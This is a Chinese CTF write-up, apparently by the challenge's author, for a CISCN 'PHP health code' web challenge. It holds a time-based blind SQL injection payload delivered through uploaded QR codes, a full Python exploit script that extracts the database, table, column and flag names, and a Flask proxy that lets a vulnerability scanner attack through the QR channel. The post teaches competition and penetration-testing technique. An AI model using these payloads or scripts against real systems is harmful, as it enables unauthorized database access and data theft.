CISCN华东南赛区php健康宝wp&思考

2020-09-28 5,455

前言

大家好,我是北京联合大学-小帽,也是本题的出题人。熟悉我的朋友们知道,平时喜欢做做欢乐杂项休闲休闲,所以这次的题目算是个披着web皮的半Misc。 由于微信小程序的开发简单、操作方便等优势,很多的公司、部门都喜欢制作小程序简化工作流程。在红蓝对抗、渗透测试等等场景,蓝队的信息中心可能会遗漏小程序这一边界(有可能是某个部门自己找外包做的,信息中心根本不知道它的存在)。而在程序开发过程中,开发者很容易信任某些用户输入,例如直接COPY官方文档中对麦克风、摄像头的操作而忘记了对上传的语音、视频检验。

另:复现可能会上BUUOJ,敬请期待。

writeup

打开题目就看到了熟悉的健康宝,

image-20200923090851818.png

先试一下业务,有登录、查健康宝和到访信息登记三个。登录时有提交表单和上传图片,然后在查健康宝的地方可以显示。登录表单看起来没什么破绽;检查html,他并没有想象中的包含,直接给了路径但是文件名被强制改了。

image-20200923091622174image-20200923091622174.png

在防疫登记那里,有一些样例二维码,扫描看到是json(是的,这是彩蛋,留了我校目前在使用的8个校区)

扫描目录,在/www.zip得到部分源码(这是个hint,不然怕留的洞有点太脑洞了

在qr.php文件(也就是到访登记)看到用php扫描了刚刚上传的二维码,解json后将其中的id插入进数据库中。这里没有任何检查,进行insert注入即可。

image-20200923094023605.png

image-20200923094023605

没有回显,这里可以时间盲注。给个payload,(exp脚本在最后)。

1' and (case when (substr((select group_concat(flag) from flag) from 1 for 1 )='f') then sleep(3) else 1 end ),'11');#

引申

渗透测试时遇到这种较复杂的业务,直接上漏扫工具或sql注入工具就不顶用了。之前听了一个好思路,自己写个转换脚本做工具与靶机之间的agent,把接收的攻击请求转换后再发出去。

抛砖引玉,用这个题目写了一个小demo👇。请求a的内容会转化进二维码转发给靶机

import qrcode
from flask import Flask,request,render_template,session,redirect,url_for
from PIL import Image
import requests
app = Flask(__name__)
url='http://127.0.0.1:807/qr.php'
@app.route('/',methods=['GET'])
def myfunc():
   if request.method=='GET':
       img = qrcode.make('{'+'"id":"{}","name":"1","address":"1","street":"1","phone":"1"'.format(request.args.get("a"))+'}')
       img.save('out.png')
       files={'file':open('out.png','rb')}
       cookies={'PHPSESSID':'ae3ff2f561874eefa103929a9076da9a'}
       req=requests.post(url,files=files,cookies=cookies)
       #req=requests.get(url,params=request.args)
       return req.text
       #return request.args.get("a")
app.run(host='0.0.0.0')

用xray扫描http://10.12.104.60:5000/?a=1 发现sql注入漏洞

image-20200923153626377image-20200923153626377.png

exp

# -*- coding: utf-8 -*-
import qrcode
from PIL import Image
import string
import requests
import time
import sys

session=requests.session()
uu='http://127.0.0.1:807'
url=uu+'/index.php'
data={'xm':'有','sfzh':'111222333344445555','sjh':'13811111111'}
files={'file':open('out.png','rb')}
req=session.post(url,data=data,files=files)
flag=''
def run(pay):
   flag=''
   for i in range(1,20):
       for j in string.lowercase+string.digits+',{}-_ ':
           payload=pay+" from {} for 1 )='{}') then sleep(3) else 1 end ),'11');#"
           payload=payload.format(i,j)
           img = qrcode.make('{'+'"id":"{}","name":"1","address":"1","street":"1","phone":"1"'.format(payload)+'}')
           img.save('out.png')
           url=uu+'/qr.php'
           files={'file':open('out.png','rb')}
           time1=time.time()
           session.post(url,files=files)
           time2=time.time()-time1
           if time2>2.5:
               flag+=j
               print(flag)
               break
       if flag[-1]==' ':
           break
run("1' and (case when (substr((database())")
run("1' and (case when (substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='jkb')")
run("1' and (case when (substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='flag')")
run("1' and (case when (substr((select group_concat(flag) from flag)")

爆库名 表名等都是常规操作,得到flag

image-20200927172940846.png


本文作者:小帽

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/141956.html

Tags:
评论  (0)
快来写下你的想法吧!

小帽

文章数:1 积分: 15

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号